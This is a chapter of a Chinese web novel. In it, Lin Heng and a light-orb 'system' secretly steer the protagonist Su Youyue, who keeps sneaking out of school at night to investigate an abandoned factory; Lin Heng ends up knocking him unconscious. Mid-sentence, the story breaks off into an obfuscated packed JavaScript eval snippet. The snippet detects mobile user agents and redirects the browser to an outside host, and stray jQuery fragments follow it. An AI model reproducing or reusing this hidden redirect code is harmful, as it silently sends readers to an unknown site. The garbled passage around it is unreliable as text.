半夜十二点，林衡拿着充电式台灯照着手机屏幕，看监控里的苏有月翻过院墙，走到共享单车边挑车解锁。


    半夜偷溜出学园，肯定不是什么好事。


    “臧队长现在在做什么？”林衡问光球。


    “他刚刚结束换班巡逻，进入自己的员工宿舍。”


    听到回答，林衡将手机界面切换到‘世界意识’账号，点开臧彪的头像。


    [世界意识]：有学生翻墙离开学园，原因暂且不明，请立刻前去阻止。


    [世界意识]：明显能看出是苏有月的监控图.jpg


    臧队长不论对谁都是一副暴脾气的黑脸模样，消息发出后，林衡有那么一秒担心他会不会出手，会不会假装没看到信息。


    不过很快，系统播报说臧彪已经派出队员去校外拦人。不消片刻，他气势汹汹地冲出学园大门，亲自将苏有月扔回了西区宿舍。


    林衡翻看着系统监听得到的通话记录，苏有月被安保处抓到后，只认栽地说自己想出去买夜宵。对他的这番说辞，安保处队员不信，臧队长不信，林衡也不信。


    但既然不是什么事关人命十万火急的理由，事情有意思了。


    “为什么今晚突然想跑出学校？因为是和雪耳小姐发给他的消息？”


    在系统的剧本里，雪耳小姐给出的资料是结束现阶段调查的关键物品，里面确认了墨水怪物是一种人工异能造物，从隐藏在钥匙扣内里的炼金矩阵诞生，可以由人进行远程操控，操控范围是一千公里。


    由于范围太广，覆盖了整个长竹市和市外郊区，墨水怪物的内部核心结构，产生条件也尚未解明，主角团需要更多时间来等待专管所那边的消息。期间，他们会结识一位新的卡池角色，擅长绘画的a班女同学桓镜，并从‘异能怪物为什么是水墨画风格’的角度切入，调查犯人的背景身份。


    林衡请系统拿出雪耳发的墨水怪物初步研究资料，自己看了两遍，又请系统找出监控拍到的，苏有月根据档案标注的长竹市地图。地图上圈出了很多位置，其中犯人所在的，城西工业园区里的偏僻厂房，也被他圈了出来。


    “宿主，苏有月又溜出宿舍了。”


    林衡刚有了点猜测，就看到监控里的苏有月在一楼走廊墙后探头探脑：“他今晚不打算睡觉了吗！”


    光球却很活跃：“正好，臧彪作为学园安保处长期驻场角色还少了些戏份。我们继续安排臧彪拦截他吧。”


    林衡代入自己想了想：“还有不到六个小时天就要亮了，明天还要上课，苏有月今晚应该是在踩点和试探安保情况，不会跑远。与其请臧队长拦截，不如请他护送苏有月一段距离，看看那家伙要去哪儿吧。这样才会有你要的臧彪个人剧情。”


    光球觉得这主意不错，林衡便点开通讯界面。


    [世界意识]：苏有月离开宿舍监控画面.jpg


    [世界意识]：临时任务：主角意外打算逃出学园，请你完成一段‘猫溜耗子游刃有余’的抓捕剧情。


    [世界意识]：任务提示：耗子：主角苏有月，猫：安保处处长臧彪，拍摄地点：学园外十公里范围内，校外商店街优先


    上次与费掣老师对话，林衡只需让他改变他行动中的一个关键步骤，这次，林衡需要臧彪队长进行一个全新的行动，要交代的东西实际非常多。


    系统的世界意识账号说话态度非常高冷，林衡不能长篇大论地解释苏有月怎么了，臧彪该怎么说该怎么做。他只能尽量选取关键部分，用简单抽象的词汇形容，希望对方能自由发挥。


    [臧彪]：？？？又要拍戏？


    [臧彪]：什么叫做猫溜耗子，说清楚点！具体到底要我怎么做？


    [臧彪]：我跟踪他一段距离，看他跑远了再抓回来就行了吧？只要不超出我的职责范围，那学生随我处置是吧？


    [臧彪]：不说话我就默认了！


    看通讯里臧队长有了思路，林衡暂且放下心来。


    想想明天有熬体力的体育课，他觉得自己继续盯着也没什么意思。


    “系统，我先睡下了，有事喊我。”


    “好的，宿主晚安。”


    迷迷糊糊中，林衡做了个梦。


    梦里是一片钢筋水泥的丛林，空旷的马路上到处都是废墟的碎片和魔兽的尸体。白色的天空中悬挂着一扇深黑色的大门，那扇门太大了，几乎笼罩了头顶的整片苍穹，让人分不清是白天还是黑夜。


    一个白头发灰衣服的背影在破碎的马路上行走，他的四肢肩膀都延伸出长长的细丝。细丝忽的绷直，要让他往左拐，他不得不往左，要让他往右，他不得不往右。


    林衡看着那个人的背影，又看向自己的双手。


    他的十指上缠满了细丝，向四方延伸开去，缠住了前面的人，也缠住了周围众多看不清面目的黑影。白发人原地剧烈挣扎起来，木偶一般扭曲跳动，他身上的细丝全部绷直，拉紧，紧到林衡让感觉十指发痛。


    林衡自己的肩胛骨也骤然绷紧，眼睛脑袋抽疼。用带着牵牵拉拉细丝的手摁了摁眉心，林衡发现自己的肩膀和四肢也都延伸出长长的细丝，一直通往天空，通向那扇深黑色的大门内部。


    随着林衡抬头，黑门里突然出现了一点红光，越来越大，越来越亮。那点光不像是平常见到的星星或烛火的光，像是被玻璃或什么压住了，只呈现出一点逐渐放大的，凝固的明红。它镶嵌在黑门的正中，又像是处在无数黑色平面镜之后，林衡眨了眨眼，红光和黑门突然变成了一个巨大的监控探头。


    明红色的圆光，正是监控探头中心代表开启的常亮光。


    闹钟的声音陡然响起，废墟马路上，一个巨大的，黑不溜秋的墨水闹钟擦过林衡的肩膀，追着白发人狂奔而去。随后，墨水蜘蛛，墨水人群，一堆墨水猫咪，也都擦过林衡狂奔而去。


    又一眨眼，明明是被追赶着的白发人忽然变成了追赶者，各式各类的墨水怪物们又从林衡另一边擦过，往来时的方向赶回。不绝于耳的闹钟声里，看不清面孔的白发人也向着林衡跑来。


    “宿主，起床了起床了！”


    林衡一睁开眼，就看到了怼在脸前的明红色光球。


    他心里一紧，推开光球的同时假意抱怨：“吓我一跳。几点了……”


    “现在是2X24年9月12日，星期四，新陆时间6点23分。今天天气晴，温度20摄氏度，湿度47%，穿衣建议：校服。系统面板电量：已充满。任务进度：二测结束，冲击三测。”


    在光球伪装天气小助手的播报声中，林衡和往常一样起来洗漱。


    “昨晚计划进行情况：臧彪在商业街陪苏有月玩了三十分钟你追我躲的游戏，最后将其捉回学校，和离霞施以同样的种花种草处罚。制作组对这段臧彪个人剧情很满意，希望宿主再接再厉，让其他角色也能拥有同样的创意型剧情。”


    “好的老板。”


    “接下来播送系统备忘录：紧急程度第一条，苏有月为何半夜离开学园，他要去哪里，我们要怎么应对？”


    林衡想到昨晚的梦，长舒一口气：“系统，现在我们不得不讨论这个问题了。这是从我们认识第二天起，或者我们决定让苏有月当主角的那一天起，就一直存在的问题。


    “如果主角他不肯按照你的剧本行动，系统，你打算怎么办？”


    光球一秒都没停顿地回答：“这是宿主应该考虑的问题啊。”


    “我考虑过了，我也想到了一个暂且还行的方案。”林衡道，“为此我需要知道，系统你到底能让步多少？”


    #


    苏有月在自己座位上撑着脑袋打瞌睡，风笑笑忽然拉来一个紫发麻花辫的女生，又将摊开的素描本递到苏有月面前。


    素描本上，有一只淡墨耳朵的黑色猫咪。猫儿舔着前爪的毛，看上去非常惬意。


    “小月小月，快来认识一下桓镜！你看她画的画，是不是很眼熟？”


    苏有月应了是。


    风笑笑和舟娅，陈素鸢，以及说话细声细气，似乎非常怕生的桓镜聊起了墨水绘画。桓镜画的猫咪是临摹作品，原型画在城东一家非常有特色的咖啡店。店里还有许多其他相似的水墨画创作。女生们聊着聊着，很快约起了周末的咖啡店之行。


    钢大蹦在一旁不停寻找着表现自己的机会，苏有月只微笑着点头附和，顺带打开手机看了眼消息。


    [云啸]：我听说你昨晚翻墙溜出学园，被臧队长抓到了，还被他在商店街溜了很久？


    [云啸]：我们班有消息灵通的人，听她说的。


    [云啸]：下次要做这种事，带我一个。


    苏有月敲着回复，那边正聊得起劲的风笑笑也停了下来，问他：“对了小月，你怎么和离霞一起被处罚了？你不会也烧了哪里的花儿草儿吧？”


    离霞被处罚的原因是她没控制好异能，烧毁了一大片草地，很多人都看到了。


    “没什么，也就熄灯之后还在外面乱晃，在商店街买夜宵时被臧队长抓到了而已。”苏有月笑道，“周末打算去咖啡店是吗？周六还是周日？”


    “周六！”


    风笑笑见他不愿说，没有追问下去。


    时间很快到了周五晚上。


    按长竹学园的默认规矩，周六晚上不会有宿管检查和门禁，学生们可以在校外度过。但前一天的周五和后一天的周日肯定会查寝，点数各年级人数。


    查寝结束后，苏有月在云啸的帮助下，再次翻墙离开了学园。


    “真的不需要帮忙吗？”云啸最后问道。


    苏有月笑着摇头：“真的不用。我只是去调查一下看看，等有结果了再喊你们。而且我一个人，不管发生什么都不会出事的。”


    两人在墙头分别，苏有月找了辆共享单车，趁着夜色往城西骑去。


    不知为何，这一路遇到的红灯有些多。比预计多花了半个小时，午夜十二点，他才终于到达工业园区。


    玩具店里的一箩筐钥匙扣只是犯人布置的一环，并非真正的源头。市内还有其他集中贩卖钥匙扣的销售点存在。制作钥匙扣的地点，将问题钥匙扣混进正常钥匙扣的地点，便于藏匿的地点——遍观整个长竹市，城西这片工业园区最为合适。


    夜幕黑沉，惨白的路灯仅能照亮一小片区域。苏有月在宽阔寂寥的马路上骑着车，打算在这里多转几圈，试着锻炼下自己的幸运异能，看看能不能发现一些特别的东西。


    低矮的围墙圈起一片又一片空地，不同的空地内摆放着不同的，认不出名字的大型器械。每到一家厂房空地，他都会下车透过围墙眺望。看看里头有些什么，估计什么年代，新旧维护如何，晚上亮了多少灯。


    走到一片偏僻的厂房时，苏有月停了下来。


    这片厂房看墙上发黄的贴纸小广告和号码涂鸦，应该废弃了三年左右。但里头的排水区域有明显清理过的痕迹，落叶不多。集装箱式房屋外壁发黄，门上锈迹斑驳，却没有出现废弃许久后该有的板材变形，门框脱落等迹象，似乎还有人居住。


    苏有月打算靠近看看时，一辆小车打着远光灯，从他背后开来。


    小车在他的共享单车旁停下，车窗打开，满脸胡渣的费掣大叔从窗户里探出头。


    “果然是你这小鬼！”费掣咬牙喊道，“苏有月，你不在寝室，在这里做什么？”


    苏有月只能微笑着喊声老师好，被费掣提溜上车拉回了学校。


    开车的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12774054|127808||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    司机是庄山农牧的员工，从他和费老师的交谈中，苏有月得知庄山农牧在这片附近包了片地做仓储中转用，学校西区食堂的魔兽肉都是从这附近中转运过来的。费老师专门负责和校外势力打交道，今天回程的时候正好看到路边有个眼熟的身影，停车一看还真是自己的学生，气得多给司机分了点烟求他保密。


    回校后，苏有月自然被臧彪和费掣拎着一顿教训，再被解教官赶回宿舍睡觉。他认为这是自己运气用光了走了霉运，反而更加在意起那片奇怪的偏僻厂房。


    周六，苏有月依然跟着风笑笑等人出门，只不过这次六人组变成了七人组。新加入的桓镜和舟娅相处得很好，带着大家找到了带有水墨画的咖啡馆。


    苏有月听着众人向店老板询问咖啡馆的历史，水墨画的画家是谁，自己心不在焉地整理着昨晚看到的所有东西。至于后面女生们玩抓娃娃机抓出了同款钥匙扣，并且那钥匙扣在桓镜手中变出了非常抽象的玻璃杯素描怪物，他都没有在意。


    可能是昨晚用光了好运，在大家战斗的时候苏有月明明什么都没做，他靠着的玻璃架展台还是莫名碎成了渣。于是周六晚上是在帮咖啡馆打扫卫生中度过的，风笑笑吐槽说她已经习惯了。


    等到专管所的黎所长和雪耳小姐赶来，清理了娃娃机里的所有可疑钥匙扣，众人回到宿舍已经过了午夜。苏有月有些可惜，今晚他既没能私藏一个未触发的钥匙扣下来，也没时间再去城西逛逛了。


    周日的行程是泡学校图书馆。周六遇袭时，陈素鸢身上带了源自白银尖塔的特殊装备，记录下了怪物诞生那一瞬间闪现的炼金矩阵，她希望能好好研究一番，需要大家帮忙查找资料。苏有月做完自己的分工后，趴在桌上补了个觉，为晚上做准备。


    周日晚上查寝结束，苏有月在云啸和钢蹦的帮助下，幸运躲过了臧队长的搜查，成功骑车逃跑。


    之后又是一路红灯，午夜时分到达了工业园区。


    锁车步行，避开好几辆小车，终于靠近了那处偏僻的废弃厂房。


    “果然是有人在住的啊……”


    苏有月围着厂房转了一圈，站在小门边往里眺望。


    小门外侧有箱子拖拽的痕迹，门附近墙根处种着菜，内侧还有开启着的红外感应器。


    “是先问问周围的人这家厂房的情况，还是先溜进去看看呢？”苏有月沉思起来。


    正打算抛个硬币决定，苏有月忽然感到后背一凉，忙转过头。


    他最后看到的，是一个挥舞着拳头的黑色人影。


    #


    林衡站在宽阔寂寥的工业区马路边，举着拳头呆站在原地。


    他头上是满天星斗，面前是幕后犯人所在的厂房围墙，脚下是水泥石板。


    哦，还有躺在石板上，不省人事的苏有月。


    “我，他……不会死了吧？”


    林衡呆了两秒，连忙弯下腰去试探苏有月的鼻息。


    刚才眼看这家伙就要进厂房了，他立刻采用最后一套预案，直接抡起[铁皮人]加强过的拳头冲人后脑砸过去想把人打晕——不巧苏有月正好转过头，于是打人后脑变成了打人正脸。


    “没事宿主，卡池角色都没那么容易死。”


    光球浮在苏有月身体正上方，很不负责地回答。


    林衡翻过背包，拿出一个玻璃小瓶。瓶子里是这一周来，他每天空闲时用虞木老师的[生命之泉]，一滴一滴收集来的灵药，能让伤口立刻愈合。


    他给苏有月喂了一滴，不能再多了。


    “我真得好好学学格斗和人体医学。”收起瓶子时，林衡对系统吐槽，“不然下手没有轻重，很麻烦的。你看就比方现在，我都不知道他会晕多久，是不是很快就能醒来。”


    这么说的同时，林衡从附近捡了块石头，放在苏有月的脑袋边。


    然后，他骑上单车离远了些，点开系统账号的群聊。


    【组名：阻止苏有月提前进入boss区域】


    [世界意识]：我召唤一块陨石把他砸晕了，暂时解决。@费掣来接一下人


    [郭栋]：陨石？


    [费掣]：……收到


    [臧彪]：。


    [聂途]：陨石？


    [解玲]：他没事吧？


    [世界意识]：附近没有监控，不知。


    [世界意识]：@虞木让他睡一天，告诉他是附近工人把他送回学园的。


    [世界意识]：你的戏份还不够多，等他醒后再多花点时间和他聊聊，让玩家们记住你。


    [虞木]：睡一天，多聊聊，明白。


    [郭栋]：等等导演大人，哪来的陨石？


    [郭栋]：导演大人？


    [费掣]：我到了，人没事。打了小虞的麻醉药。


    [费掣]：你们看这石头像陨石吗？石块.jpg


    【小组已解散，聊天记录已删除】


    “好了。”林衡从群聊里抬起头，看向旁边的光球，“这样老师们就会认为你只是表面装高冷严肃无情，实际内里是个一被抓住小辫子就会恼羞成怒地逃跑装作无事发生的沙雕中二病。”


    光球大为震动：“宿主，你为什么要这么抹黑我？我可是高贵的世界意识！”


    “因为你只会让别人害怕你，我不能让他们害怕你。”林衡叹了口气。


    “同一个手段不能用两次。系统，你还有别的招吗？如果下次苏有月再自己跑过来，我就只能用出最终手段了。”


    “都听宿主的。”


    “那好。”


    林衡最后看了眼时间，踩着单车往北冲去，打算靠近学校后再用异能转移。


    和苏有月不同，他过去时，一路都是绿灯。